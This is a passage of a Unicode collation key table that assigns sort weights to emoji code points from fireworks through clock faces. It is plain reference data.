FIREWORKS +1F387 ; [*130A.0020.0002] # FIREWORK SPARKLER +1F388 ; [*130B.0020.0002] # BALLOON +1F389 ; [*130C.0020.0002] # PARTY POPPER +1F38A ; [*130D.0020.0002] # CONFETTI BALL +1F38B ; [*130E.0020.0002] # TANABATA TREE +1F38C ; [*130F.0020.0002] # CROSSED FLAGS +1F38D ; [*1310.0020.0002] # PINE DECORATION +1F38E ; [*1311.0020.0002] # JAPANESE DOLLS +1F38F ; [*1312.0020.0002] # CARP STREAMER +1F390 ; [*1313.0020.0002] # WIND CHIME +1F391 ; [*1314.0020.0002] # MOON VIEWING CEREMONY +1F392 ; [*1315.0020.0002] # SCHOOL SATCHEL +1F393 ; [*1316.0020.0002] # GRADUATION CAP +1F394 ; [*1317.0020.0002] # HEART WITH TIP ON THE LEFT +1F395 ; [*1318.0020.0002] # BOUQUET OF FLOWERS +1F396 ; [*1319.0020.0002] # MILITARY MEDAL +1F397 ; [*131A.0020.0002] # REMINDER RIBBON +1F398 ; [*131B.0020.0002] # MUSICAL KEYBOARD WITH JACKS +1F399 ; [*131C.0020.0002] # STUDIO MICROPHONE +1F39A ; [*131D.0020.0002] # LEVEL SLIDER +1F39B ; [*131E.0020.0002] # CONTROL KNOBS +1F39C ; [*131F.0020.0002] # BEAMED ASCENDING MUSICAL NOTES +1F39D ; [*1320.0020.0002] # BEAMED DESCENDING MUSICAL NOTES +1F39E ; [*1321.0020.0002] # FILM FRAMES +1F39F ; [*1322.0020.0002] # ADMISSION TICKETS +1F3A0 ; [*1323.0020.0002] # CAROUSEL HORSE +1F3A1 ; [*1324.0020.0002] # FERRIS WHEEL +1F3A2 ; [*1325.0020.0002] # ROLLER COASTER +1F3A3 ; [*1326.0020.0002] # FISHING POLE AND FISH +1F3A4 ; [*1327.0020.0002] # MICROPHONE +1F3A5 ; [*1328.0020.0002] # MOVIE CAMERA +1F3A6 ; [*1329.0020.0002] # CINEMA +1F3A7 ; [*132A.0020.0002] # HEADPHONE +1F3A8 ; [*132B.0020.0002] # ARTIST PALETTE +1F3A9 ; [*132C.0020.0002] # TOP HAT +1F3AA ; [*132D.0020.0002] # CIRCUS TENT +1F3AB ; [*132E.0020.0002] # TICKET +1F3AC ; [*132F.0020.0002] # CLAPPER BOARD +1F3AD ; [*1330.0020.0002] # PERFORMING ARTS +1F3AE ; [*1331.0020.0002] # VIDEO GAME +1F3AF ; [*1332.0020.0002] # DIRECT HIT +1F3B0 ; [*1333.0020.0002] # SLOT MACHINE +1F3B1 ; [*1334.0020.0002] # BILLIARDS +1F3B2 ; [*1335.0020.0002] # GAME DIE +1F3B3 ; [*1336.0020.0002] # BOWLING +1F3B4 ; [*1337.0020.0002] # FLOWER PLAYING CARDS +1F3B5 ; [*1338.0020.0002] # MUSICAL NOTE +1F3B6 ; [*1339.0020.0002] # MULTIPLE MUSICAL NOTES +1F3B7 ; [*133A.0020.0002] # SAXOPHONE +1F3B8 ; [*133B.0020.0002] # GUITAR +1F3B9 ; [*133C.0020.0002] # MUSICAL KEYBOARD +1F3BA ; [*133D.0020.0002] # TRUMPET +1F3BB ; [*133E.0020.0002] # VIOLIN +1F3BC ; [*133F.0020.0002] # MUSICAL SCORE +1F3BD ; [*1340.0020.0002] # RUNNING SHIRT WITH SASH +1F3BE ; [*1341.0020.0002] # TENNIS RACQUET AND BALL +1F3BF ; [*1342.0020.0002] # SKI AND SKI BOOT +1F3C0 ; [*1343.0020.0002] # BASKETBALL AND HOOP +1F3C1 ; [*1344.0020.0002] # CHEQUERED FLAG +1F3C2 ; [*1345.0020.0002] # SNOWBOARDER +1F3C3 ; [*1346.0020.0002] # RUNNER +1F3C4 ; [*1347.0020.0002] # SURFER +1F3C5 ; [*1348.0020.0002] # SPORTS MEDAL +1F3C6 ; [*1349.0020.0002] # TROPHY +1F3C7 ; [*134A.0020.0002] # HORSE RACING +1F3C8 ; [*134B.0020.0002] # AMERICAN FOOTBALL +1F3C9 ; [*134C.0020.0002] # RUGBY FOOTBALL +1F3CA ; [*134D.0020.0002] # SWIMMER +1F3CB ; [*134E.0020.0002] # WEIGHT LIFTER +1F3CC ; [*134F.0020.0002] # GOLFER +1F3CD ; [*1350.0020.0002] # RACING MOTORCYCLE +1F3CE ; [*1351.0020.0002] # RACING CAR +1F3CF ; [*1352.0020.0002] # CRICKET BAT AND BALL +1F3D0 ; [*1353.0020.0002] # VOLLEYBALL +1F3D1 ; [*1354.0020.0002] # FIELD HOCKEY STICK AND BALL +1F3D2 ; [*1355.0020.0002] # ICE HOCKEY STICK AND PUCK +1F3D3 ; [*1356.0020.0002] # TABLE TENNIS PADDLE AND BALL +1F3D4 ; [*1357.0020.0002] # SNOW CAPPED MOUNTAIN +1F3D5 ; [*1358.0020.0002] # CAMPING +1F3D6 ; [*1359.0020.0002] # BEACH WITH UMBRELLA +1F3D7 ; [*135A.0020.0002] # BUILDING CONSTRUCTION +1F3D8 ; [*135B.0020.0002] # HOUSE BUILDINGS +1F3D9 ; [*135C.0020.0002] # CITYSCAPE +1F3DA ; [*135D.0020.0002] # DERELICT HOUSE BUILDING +1F3DB ; [*135E.0020.0002] # CLASSICAL BUILDING +1F3DC ; [*135F.0020.0002] # DESERT +1F3DD ; [*1360.0020.0002] # DESERT ISLAND +1F3DE ; [*1361.0020.0002] # NATIONAL PARK +1F3DF ; [*1362.0020.0002] # STADIUM +1F3E0 ; [*1363.0020.0002] # HOUSE BUILDING +1F3E1 ; [*1364.0020.0002] # HOUSE WITH GARDEN +1F3E2 ; [*1365.0020.0002] # OFFICE BUILDING +1F3E3 ; [*1366.0020.0002] # JAPANESE POST OFFICE +1F3E4 ; [*1367.0020.0002] # EUROPEAN POST OFFICE +1F3E5 ; [*1368.0020.0002] # HOSPITAL +1F3E6 ; [*1369.0020.0002] # BANK +1F3E7 ; [*136A.0020.0002] # AUTOMATED TELLER MACHINE +1F3E8 ; [*136B.0020.0002] # HOTEL +1F3E9 ; [*136C.0020.0002] # LOVE HOTEL +1F3EA ; [*136D.0020.0002] # CONVENIENCE STORE +1F3EB ; [*136E.0020.0002] # SCHOOL +1F3EC ; [*136F.0020.0002] # DEPARTMENT STORE +1F3ED ; [*1370.0020.0002] # FACTORY +1F3EE ; [*1371.0020.0002] # IZAKAYA LANTERN +1F3EF ; [*1372.0020.0002] # JAPANESE CASTLE +1F3F0 ; [*1373.0020.0002] # EUROPEAN CASTLE +1F3F1 ; [*1374.0020.0002] # WHITE PENNANT +1F3F2 ; [*1375.0020.0002] # BLACK PENNANT +1F3F3 ; [*1376.0020.0002] # WAVING WHITE FLAG +1F3F4 ; [*1377.0020.0002] # WAVING BLACK FLAG +1F3F5 ; [*1378.0020.0002] # ROSETTE +1F3F6 ; [*1379.0020.0002] # BLACK ROSETTE +1F3F7 ; [*137A.0020.0002] # LABEL +1F3F8 ; [*137B.0020.0002] # BADMINTON RACQUET AND SHUTTLECOCK +1F3F9 ; [*137C.0020.0002] # BOW AND ARROW +1F3FA ; [*137D.0020.0002] # AMPHORA +1F3FB ; [*137E.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-1-2 +1F3FC ; [*137F.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-3 +1F3FD ; [*1380.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-4 +1F3FE ; [*1381.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-5 +1F3FF ; [*1382.0020.0002] # EMOJI MODIFIER FITZPATRICK TYPE-6 +1F400 ; [*1383.0020.0002] # RAT +1F401 ; [*1384.0020.0002] # MOUSE +1F402 ; [*1385.0020.0002] # OX +1F403 ; [*1386.0020.0002] # WATER BUFFALO +1F404 ; [*1387.0020.0002] # COW +1F405 ; [*1388.0020.0002] # TIGER +1F406 ; [*1389.0020.0002] # LEOPARD +1F407 ; [*138A.0020.0002] # RABBIT +1F408 ; [*138B.0020.0002] # CAT +1F409 ; [*138C.0020.0002] # DRAGON +1F40A ; [*138D.0020.0002] # CROCODILE +1F40B ; [*138E.0020.0002] # WHALE +1F40C ; [*138F.0020.0002] # SNAIL +1F40D ; [*1390.0020.0002] # SNAKE +1F40E ; [*1391.0020.0002] # HORSE +1F40F ; [*1392.0020.0002] # RAM +1F410 ; [*1393.0020.0002] # GOAT +1F411 ; [*1394.0020.0002] # SHEEP +1F412 ; [*1395.0020.0002] # MONKEY +1F413 ; [*1396.0020.0002] # ROOSTER +1F414 ; [*1397.0020.0002] # CHICKEN +1F415 ; [*1398.0020.0002] # DOG +1F416 ; [*1399.0020.0002] # PIG +1F417 ; [*139A.0020.0002] # BOAR +1F418 ; [*139B.0020.0002] # ELEPHANT +1F419 ; [*139C.0020.0002] # OCTOPUS +1F41A ; [*139D.0020.0002] # SPIRAL SHELL +1F41B ; [*139E.0020.0002] # BUG +1F41C ; [*139F.0020.0002] # ANT +1F41D ; [*13A0.0020.0002] # HONEYBEE +1F41E ; [*13A1.0020.0002] # LADY BEETLE +1F41F ; [*13A2.0020.0002] # FISH +1F420 ; [*13A3.0020.0002] # TROPICAL FISH +1F421 ; [*13A4.0020.0002] # BLOWFISH +1F422 ; [*13A5.0020.0002] # TURTLE +1F423 ; [*13A6.0020.0002] # HATCHING CHICK +1F424 ; [*13A7.0020.0002] # BABY CHICK +1F425 ; [*13A8.0020.0002] # FRONT-FACING BABY CHICK +1F426 ; [*13A9.0020.0002] # BIRD +1F427 ; [*13AA.0020.0002] # PENGUIN +1F428 ; [*13AB.0020.0002] # KOALA +1F429 ; [*13AC.0020.0002] # POODLE +1F42A ; [*13AD.0020.0002] # DROMEDARY CAMEL +1F42B ; [*13AE.0020.0002] # BACTRIAN CAMEL +1F42C ; [*13AF.0020.0002] # DOLPHIN +1F42D ; [*13B0.0020.0002] # MOUSE FACE +1F42E ; [*13B1.0020.0002] # COW FACE +1F42F ; [*13B2.0020.0002] # TIGER FACE +1F430 ; [*13B3.0020.0002] # RABBIT FACE +1F431 ; [*13B4.0020.0002] # CAT FACE +1F432 ; [*13B5.0020.0002] # DRAGON FACE +1F433 ; [*13B6.0020.0002] # SPOUTING WHALE +1F434 ; [*13B7.0020.0002] # HORSE FACE +1F435 ; [*13B8.0020.0002] # MONKEY FACE +1F436 ; [*13B9.0020.0002] # DOG FACE +1F437 ; [*13BA.0020.0002] # PIG FACE +1F438 ; [*13BB.0020.0002] # FROG FACE +1F439 ; [*13BC.0020.0002] # HAMSTER FACE +1F43A ; [*13BD.0020.0002] # WOLF FACE +1F43B ; [*13BE.0020.0002] # BEAR FACE +1F43C ; [*13BF.0020.0002] # PANDA FACE +1F43D ; [*13C0.0020.0002] # PIG NOSE +1F43E ; [*13C1.0020.0002] # PAW PRINTS +1F43F ; [*13C2.0020.0002] # CHIPMUNK +1F440 ; [*13C3.0020.0002] # EYES +1F441 ; [*13C4.0020.0002] # EYE +1F442 ; [*13C5.0020.0002] # EAR +1F443 ; [*13C6.0020.0002] # NOSE +1F444 ; [*13C7.0020.0002] # MOUTH +1F445 ; [*13C8.0020.0002] # TONGUE +1F446 ; [*13C9.0020.0002] # WHITE UP POINTING BACKHAND INDEX +1F447 ; [*13CA.0020.0002] # WHITE DOWN POINTING BACKHAND INDEX +1F448 ; [*13CB.0020.0002] # WHITE LEFT POINTING BACKHAND INDEX +1F449 ; [*13CC.0020.0002] # WHITE RIGHT POINTING BACKHAND INDEX +1F44A ; [*13CD.0020.0002] # FISTED HAND SIGN +1F44B ; [*13CE.0020.0002] # WAVING HAND SIGN +1F44C ; [*13CF.0020.0002] # OK HAND SIGN +1F44D ; [*13D0.0020.0002] # THUMBS UP SIGN +1F44E ; [*13D1.0020.0002] # THUMBS DOWN SIGN +1F44F ; [*13D2.0020.0002] # CLAPPING HANDS SIGN +1F450 ; [*13D3.0020.0002] # OPEN HANDS SIGN +1F451 ; [*13D4.0020.0002] # CROWN +1F452 ; [*13D5.0020.0002] # WOMANS HAT +1F453 ; [*13D6.0020.0002] # EYEGLASSES +1F454 ; [*13D7.0020.0002] # NECKTIE +1F455 ; [*13D8.0020.0002] # T-SHIRT +1F456 ; [*13D9.0020.0002] # JEANS +1F457 ; [*13DA.0020.0002] # DRESS +1F458 ; [*13DB.0020.0002] # KIMONO +1F459 ; [*13DC.0020.0002] # BIKINI +1F45A ; [*13DD.0020.0002] # WOMANS CLOTHES +1F45B ; [*13DE.0020.0002] # PURSE +1F45C ; [*13DF.0020.0002] # HANDBAG +1F45D ; [*13E0.0020.0002] # POUCH +1F45E ; [*13E1.0020.0002] # MANS SHOE +1F45F ; [*13E2.0020.0002] # ATHLETIC SHOE +1F460 ; [*13E3.0020.0002] # HIGH-HEELED SHOE +1F461 ; [*13E4.0020.0002] # WOMANS SANDAL +1F462 ; [*13E5.0020.0002] # WOMANS BOOTS +1F463 ; [*13E6.0020.0002] # FOOTPRINTS +1F464 ; [*13E7.0020.0002] # BUST IN SILHOUETTE +1F465 ; [*13E8.0020.0002] # BUSTS IN SILHOUETTE +1F466 ; [*13E9.0020.0002] # BOY +1F467 ; [*13EA.0020.0002] # GIRL +1F468 ; [*13EB.0020.0002] # MAN +1F469 ; [*13EC.0020.0002] # WOMAN +1F46A ; [*13ED.0020.0002] # FAMILY +1F46B ; [*13EE.0020.0002] # MAN AND WOMAN HOLDING HANDS +1F46C ; [*13EF.0020.0002] # TWO MEN HOLDING HANDS +1F46D ; [*13F0.0020.0002] # TWO WOMEN HOLDING HANDS +1F46E ; [*13F1.0020.0002] # POLICE OFFICER +1F46F ; [*13F2.0020.0002] # WOMAN WITH BUNNY EARS +1F470 ; [*13F3.0020.0002] # BRIDE WITH VEIL +1F471 ; [*13F4.0020.0002] # PERSON WITH BLOND HAIR +1F472 ; [*13F5.0020.0002] # MAN WITH GUA PI MAO +1F473 ; [*13F6.0020.0002] # MAN WITH TURBAN +1F474 ; [*13F7.0020.0002] # OLDER MAN +1F475 ; [*13F8.0020.0002] # OLDER WOMAN +1F476 ; [*13F9.0020.0002] # BABY +1F477 ; [*13FA.0020.0002] # CONSTRUCTION WORKER +1F478 ; [*13FB.0020.0002] # PRINCESS +1F479 ; [*13FC.0020.0002] # JAPANESE OGRE +1F47A ; [*13FD.0020.0002] # JAPANESE GOBLIN +1F47B ; [*13FE.0020.0002] # GHOST +1F47C ; [*13FF.0020.0002] # BABY ANGEL +1F47D ; [*1400.0020.0002] # EXTRATERRESTRIAL ALIEN +1F47E ; [*1401.0020.0002] # ALIEN MONSTER +1F47F ; [*1402.0020.0002] # IMP +1F480 ; [*1403.0020.0002] # SKULL +1F481 ; [*1404.0020.0002] # INFORMATION DESK PERSON +1F482 ; [*1405.0020.0002] # GUARDSMAN +1F483 ; [*1406.0020.0002] # DANCER +1F484 ; [*1407.0020.0002] # LIPSTICK +1F485 ; [*1408.0020.0002] # NAIL POLISH +1F486 ; [*1409.0020.0002] # FACE MASSAGE +1F487 ; [*140A.0020.0002] # HAIRCUT +1F488 ; [*140B.0020.0002] # BARBER POLE +1F489 ; [*140C.0020.0002] # SYRINGE +1F48A ; [*140D.0020.0002] # PILL +1F48B ; [*140E.0020.0002] # KISS MARK +1F48C ; [*140F.0020.0002] # LOVE LETTER +1F48D ; [*1410.0020.0002] # RING +1F48E ; [*1411.0020.0002] # GEM STONE +1F48F ; [*1412.0020.0002] # KISS +1F490 ; [*1413.0020.0002] # BOUQUET +1F491 ; [*1414.0020.0002] # COUPLE WITH HEART +1F492 ; [*1415.0020.0002] # WEDDING +1F493 ; [*1416.0020.0002] # BEATING HEART +1F494 ; [*1417.0020.0002] # BROKEN HEART +1F495 ; [*1418.0020.0002] # TWO HEARTS +1F496 ; [*1419.0020.0002] # SPARKLING HEART +1F497 ; [*141A.0020.0002] # GROWING HEART +1F498 ; [*141B.0020.0002] # HEART WITH ARROW +1F499 ; [*141C.0020.0002] # BLUE HEART +1F49A ; [*141D.0020.0002] # GREEN HEART +1F49B ; [*141E.0020.0002] # YELLOW HEART +1F49C ; [*141F.0020.0002] # PURPLE HEART +1F49D ; [*1420.0020.0002] # HEART WITH RIBBON +1F49E ; [*1421.0020.0002] # REVOLVING HEARTS +1F49F ; [*1422.0020.0002] # HEART DECORATION +1F4A0 ; [*1423.0020.0002] # DIAMOND SHAPE WITH A DOT INSIDE +1F4A1 ; [*1424.0020.0002] # ELECTRIC LIGHT BULB +1F4A2 ; [*1425.0020.0002] # ANGER SYMBOL +1F4A3 ; [*1426.0020.0002] # BOMB +1F4A4 ; [*1427.0020.0002] # SLEEPING SYMBOL +1F4A5 ; [*1428.0020.0002] # COLLISION SYMBOL +1F4A6 ; [*1429.0020.0002] # SPLASHING SWEAT SYMBOL +1F4A7 ; [*142A.0020.0002] # DROPLET +1F4A8 ; [*142B.0020.0002] # DASH SYMBOL +1F4A9 ; [*142C.0020.0002] # PILE OF POO +1F4AA ; [*142D.0020.0002] # FLEXED BICEPS +1F4AB ; [*142E.0020.0002] # DIZZY SYMBOL +1F4AC ; [*142F.0020.0002] # SPEECH BALLOON +1F4AD ; [*1430.0020.0002] # THOUGHT BALLOON +1F4AE ; [*1431.0020.0002] # WHITE FLOWER +1F4AF ; [*1432.0020.0002] # HUNDRED POINTS SYMBOL +1F4B0 ; [*1433.0020.0002] # MONEY BAG +1F4B1 ; [*1434.0020.0002] # CURRENCY EXCHANGE +1F4B2 ; [*1435.0020.0002] # HEAVY DOLLAR SIGN +1F4B3 ; [*1436.0020.0002] # CREDIT CARD +1F4B4 ; [*1437.0020.0002] # BANKNOTE WITH YEN SIGN +1F4B5 ; [*1438.0020.0002] # BANKNOTE WITH DOLLAR SIGN +1F4B6 ; [*1439.0020.0002] # BANKNOTE WITH EURO SIGN +1F4B7 ; [*143A.0020.0002] # BANKNOTE WITH POUND SIGN +1F4B8 ; [*143B.0020.0002] # MONEY WITH WINGS +1F4B9 ; [*143C.0020.0002] # CHART WITH UPWARDS TREND AND YEN SIGN +1F4BA ; [*143D.0020.0002] # SEAT +1F4BB ; [*143E.0020.0002] # PERSONAL COMPUTER +1F4BC ; [*143F.0020.0002] # BRIEFCASE +1F4BD ; [*1440.0020.0002] # MINIDISC +1F4BE ; [*1441.0020.0002] # FLOPPY DISK +1F4BF ; [*1442.0020.0002] # OPTICAL DISC +1F4C0 ; [*1443.0020.0002] # DVD +1F4C1 ; [*1444.0020.0002] # FILE FOLDER +1F4C2 ; [*1445.0020.0002] # OPEN FILE FOLDER +1F4C3 ; [*1446.0020.0002] # PAGE WITH CURL +1F4C4 ; [*1447.0020.0002] # PAGE FACING UP +1F4C5 ; [*1448.0020.0002] # CALENDAR +1F4C6 ; [*1449.0020.0002] # TEAR-OFF CALENDAR +1F4C7 ; [*144A.0020.0002] # CARD INDEX +1F4C8 ; [*144B.0020.0002] # CHART WITH UPWARDS TREND +1F4C9 ; [*144C.0020.0002] # CHART WITH DOWNWARDS TREND +1F4CA ; [*144D.0020.0002] # BAR CHART +1F4CB ; [*144E.0020.0002] # CLIPBOARD +1F4CC ; [*144F.0020.0002] # PUSHPIN +1F4CD ; [*1450.0020.0002] # ROUND PUSHPIN +1F4CE ; [*1451.0020.0002] # PAPERCLIP +1F4CF ; [*1452.0020.0002] # STRAIGHT RULER +1F4D0 ; [*1453.0020.0002] # TRIANGULAR RULER +1F4D1 ; [*1454.0020.0002] # BOOKMARK TABS +1F4D2 ; [*1455.0020.0002] # LEDGER +1F4D3 ; [*1456.0020.0002] # NOTEBOOK +1F4D4 ; [*1457.0020.0002] # NOTEBOOK WITH DECORATIVE COVER +1F4D5 ; [*1458.0020.0002] # CLOSED BOOK +1F4D6 ; [*1459.0020.0002] # OPEN BOOK +1F4D7 ; [*145A.0020.0002] # GREEN BOOK +1F4D8 ; [*145B.0020.0002] # BLUE BOOK +1F4D9 ; [*145C.0020.0002] # ORANGE BOOK +1F4DA ; [*145D.0020.0002] # BOOKS +1F4DB ; [*145E.0020.0002] # NAME BADGE +1F4DC ; [*145F.0020.0002] # SCROLL +1F4DD ; [*1460.0020.0002] # MEMO +1F4DE ; [*1461.0020.0002] # TELEPHONE RECEIVER +1F4DF ; [*1462.0020.0002] # PAGER +1F4E0 ; [*1463.0020.0002] # FAX MACHINE +1F4E1 ; [*1464.0020.0002] # SATELLITE ANTENNA +1F4E2 ; [*1465.0020.0002] # PUBLIC ADDRESS LOUDSPEAKER +1F4E3 ; [*1466.0020.0002] # CHEERING MEGAPHONE +1F4E4 ; [*1467.0020.0002] # OUTBOX TRAY +1F4E5 ; [*1468.0020.0002] # INBOX TRAY +1F4E6 ; [*1469.0020.0002] # PACKAGE +1F4E7 ; [*146A.0020.0002] # E-MAIL SYMBOL +1F4E8 ; [*146B.0020.0002] # INCOMING ENVELOPE +1F4E9 ; [*146C.0020.0002] # ENVELOPE WITH DOWNWARDS ARROW ABOVE +1F4EA ; [*146D.0020.0002] # CLOSED MAILBOX WITH LOWERED FLAG +1F4EB ; [*146E.0020.0002] # CLOSED MAILBOX WITH RAISED FLAG +1F4EC ; [*146F.0020.0002] # OPEN MAILBOX WITH RAISED FLAG +1F4ED ; [*1470.0020.0002] # OPEN MAILBOX WITH LOWERED FLAG +1F4EE ; [*1471.0020.0002] # POSTBOX +1F4EF ; [*1472.0020.0002] # POSTAL HORN +1F4F0 ; [*1473.0020.0002] # NEWSPAPER +1F4F1 ; [*1474.0020.0002] # MOBILE PHONE +1F4F2 ; [*1475.0020.0002] # MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT +1F4F3 ; [*1476.0020.0002] # VIBRATION MODE +1F4F4 ; [*1477.0020.0002] # MOBILE PHONE OFF +1F4F5 ; [*1478.0020.0002] # NO MOBILE PHONES +1F4F6 ; [*1479.0020.0002] # ANTENNA WITH BARS +1F4F7 ; [*147A.0020.0002] # CAMERA +1F4F8 ; [*147B.0020.0002] # CAMERA WITH FLASH +1F4F9 ; [*147C.0020.0002] # VIDEO CAMERA +1F4FA ; [*147D.0020.0002] # TELEVISION +1F4FB ; [*147E.0020.0002] # RADIO +1F4FC ; [*147F.0020.0002] # VIDEOCASSETTE +1F4FD ; [*1480.0020.0002] # FILM PROJECTOR +1F4FE ; [*1481.0020.0002] # PORTABLE STEREO +1F4FF ; [*1482.0020.0002] # PRAYER BEADS +1F500 ; [*1483.0020.0002] # TWISTED RIGHTWARDS ARROWS +1F501 ; [*1484.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS +1F502 ; [*1485.0020.0002] # CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY +1F503 ; [*1486.0020.0002] # CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS +1F504 ; [*1487.0020.0002] # ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS +1F505 ; [*1488.0020.0002] # LOW BRIGHTNESS SYMBOL +1F506 ; [*1489.0020.0002] # HIGH BRIGHTNESS SYMBOL +1F507 ; [*148A.0020.0002] # SPEAKER WITH CANCELLATION STROKE +1F508 ; [*148B.0020.0002] # SPEAKER +1F509 ; [*148C.0020.0002] # SPEAKER WITH ONE SOUND WAVE +1F50A ; [*148D.0020.0002] # SPEAKER WITH THREE SOUND WAVES +1F50B ; [*148E.0020.0002] # BATTERY +1F50C ; [*148F.0020.0002] # ELECTRIC PLUG +1F50D ; [*1490.0020.0002] # LEFT-POINTING MAGNIFYING GLASS +1F50E ; [*1491.0020.0002] # RIGHT-POINTING MAGNIFYING GLASS +1F50F ; [*1492.0020.0002] # LOCK WITH INK PEN +1F510 ; [*1493.0020.0002] # CLOSED LOCK WITH KEY +1F511 ; [*1494.0020.0002] # KEY +1F512 ; [*1495.0020.0002] # LOCK +1F513 ; [*1496.0020.0002] # OPEN LOCK +1F514 ; [*1497.0020.0002] # BELL +1F515 ; [*1498.0020.0002] # BELL WITH CANCELLATION STROKE +1F516 ; [*1499.0020.0002] # BOOKMARK +1F517 ; [*149A.0020.0002] # LINK SYMBOL +1F518 ; [*149B.0020.0002] # RADIO BUTTON +1F519 ; [*149C.0020.0002] # BACK WITH LEFTWARDS ARROW ABOVE +1F51A ; [*149D.0020.0002] # END WITH LEFTWARDS ARROW ABOVE +1F51B ; [*149E.0020.0002] # ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE +1F51C ; [*149F.0020.0002] # SOON WITH RIGHTWARDS ARROW ABOVE +1F51D ; [*14A0.0020.0002] # TOP WITH UPWARDS ARROW ABOVE +1F51E ; [*14A1.0020.0002] # NO ONE UNDER EIGHTEEN SYMBOL +1F51F ; [*14A2.0020.0002] # KEYCAP TEN +1F520 ; [*14A3.0020.0002] # INPUT SYMBOL FOR LATIN CAPITAL LETTERS +1F521 ; [*14A4.0020.0002] # INPUT SYMBOL FOR LATIN SMALL LETTERS +1F522 ; [*14A5.0020.0002] # INPUT SYMBOL FOR NUMBERS +1F523 ; [*14A6.0020.0002] # INPUT SYMBOL FOR SYMBOLS +1F524 ; [*14A7.0020.0002] # INPUT SYMBOL FOR LATIN LETTERS +1F525 ; [*14A8.0020.0002] # FIRE +1F526 ; [*14A9.0020.0002] # ELECTRIC TORCH +1F527 ; [*14AA.0020.0002] # WRENCH +1F528 ; [*14AB.0020.0002] # HAMMER +1F529 ; [*14AC.0020.0002] # NUT AND BOLT +1F52A ; [*14AD.0020.0002] # HOCHO +1F52B ; [*14AE.0020.0002] # PISTOL +1F52C ; [*14AF.0020.0002] # MICROSCOPE +1F52D ; [*14B0.0020.0002] # TELESCOPE +1F52E ; [*14B1.0020.0002] # CRYSTAL BALL +1F52F ; [*14B2.0020.0002] # SIX POINTED STAR WITH MIDDLE DOT +1F530 ; [*14B3.0020.0002] # JAPANESE SYMBOL FOR BEGINNER +1F531 ; [*14B4.0020.0002] # TRIDENT EMBLEM +1F532 ; [*14B5.0020.0002] # BLACK SQUARE BUTTON +1F533 ; [*14B6.0020.0002] # WHITE SQUARE BUTTON +1F534 ; [*14B7.0020.0002] # LARGE RED CIRCLE +1F535 ; [*14B8.0020.0002] # LARGE BLUE CIRCLE +1F536 ; [*14B9.0020.0002] # LARGE ORANGE DIAMOND +1F537 ; [*14BA.0020.0002] # LARGE BLUE DIAMOND +1F538 ; [*14BB.0020.0002] # SMALL ORANGE DIAMOND +1F539 ; [*14BC.0020.0002] # SMALL BLUE DIAMOND +1F53A ; [*14BD.0020.0002] # UP-POINTING RED TRIANGLE +1F53B ; [*14BE.0020.0002] # DOWN-POINTING RED TRIANGLE +1F53C ; [*14BF.0020.0002] # UP-POINTING SMALL RED TRIANGLE +1F53D ; [*14C0.0020.0002] # DOWN-POINTING SMALL RED TRIANGLE +1F53E ; [*14C1.0020.0002] # LOWER RIGHT SHADOWED WHITE CIRCLE +1F53F ; [*14C2.0020.0002] # UPPER RIGHT SHADOWED WHITE CIRCLE +1F540 ; [*14C3.0020.0002] # CIRCLED CROSS POMMEE +1F541 ; [*14C4.0020.0002] # CROSS POMMEE WITH HALF-CIRCLE BELOW +1F542 ; [*14C5.0020.0002] # CROSS POMMEE +1F543 ; [*14C6.0020.0002] # NOTCHED LEFT SEMICIRCLE WITH THREE DOTS +1F544 ; [*14C7.0020.0002] # NOTCHED RIGHT SEMICIRCLE WITH THREE DOTS +1F545 ; [*14C8.0020.0002] # SYMBOL FOR MARKS CHAPTER +1F546 ; [*14C9.0020.0002] # WHITE LATIN CROSS +1F547 ; [*14CA.0020.0002] # HEAVY LATIN CROSS +1F548 ; [*14CB.0020.0002] # CELTIC CROSS +1F549 ; [*14CC.0020.0002] # OM SYMBOL +1F54A ; [*14CD.0020.0002] # DOVE OF PEACE +1F54B ; [*14CE.0020.0002] # KAABA +1F54C ; [*14CF.0020.0002] # MOSQUE +1F54D ; [*14D0.0020.0002] # SYNAGOGUE +1F54E ; [*14D1.0020.0002] # MENORAH WITH NINE BRANCHES +1F54F ; [*14D2.0020.0002] # BOWL OF HYGIEIA +1F550 ; [*14D3.0020.0002] # CLOCK FACE ONE OCLOCK +1F551 ; [*14D4.0020.0002] # CLOCK FACE TWO OCLOCK +1F552 ; [*14D5.0020.0002] # CLOCK FACE THREE OCLOCK +1F553 ; [*14D6.0020.0002] # CLOCK FACE FOUR OCLOCK +1F554 ; [*14D7.0020.0002] # CLOCK FACE FIVE OCLOCK +1F555 ; [*14D8.0020.0002] # CLOCK FACE SIX OCLOCK +1F556 ; [*14D9.0020.0002] # CLOCK FACE SEVEN OCLOCK +1F557 ; [*14DA.0020.0002] # CLOCK FACE EIGHT OCLOCK +1F558 ; [*14DB.0020.0002] # CLOCK FACE NINE OCLOCK +1F559 ; [*14DC.0020.0002] # CLOCK FACE TEN OCLOCK +1F55A ; [*14DD.0020.0002] # CLOCK FACE ELEVEN OCLOCK +1F55B ; [*14DE.0020.0002] # CLOCK FACE TWELVE OCLOCK +1F55C ; [*14DF.0020.0002] # CLOCK FACE ONE-THIRTY +1F55D ; [*14E0.0020.0002] # CLOCK FACE TWO-THIRTY +1F55E ; [*14E1.0020.0002] # CLOCK FACE THREE-THIRTY +1F55F ; [*14E2.0020.0002] # CLOCK FACE FOUR-THIRTY +1F560 ; [*14E3.0020.0002] # CLOCK FACE FIVE-THIRTY +1F561 ; [*14E4.0020.0002] # CLOCK FACE SIX-THIRTY +1F562 ; [*14E5.0020.0002] # CLOCK FACE SEVEN-THIRTY +1F563 ; [*14E6.0020.0002] # CLOCK FACE EIGHT-THIRTY +1F564 ; [*14E7.0020.0002] # CLOCK FACE NINE-THIRTY +1F565 ; [*14E8.0020.0002] # CLOCK FACE TEN-THIRTY +1F566 ; [*14E9.0020.0002] # CLOCK FACE ELEVEN-THIRTY +1F567 ; [*14EA.0020.0002] # CLOCK FACE TWELVE-THIRTY +1F568 ; [*14EB.0020.0002] 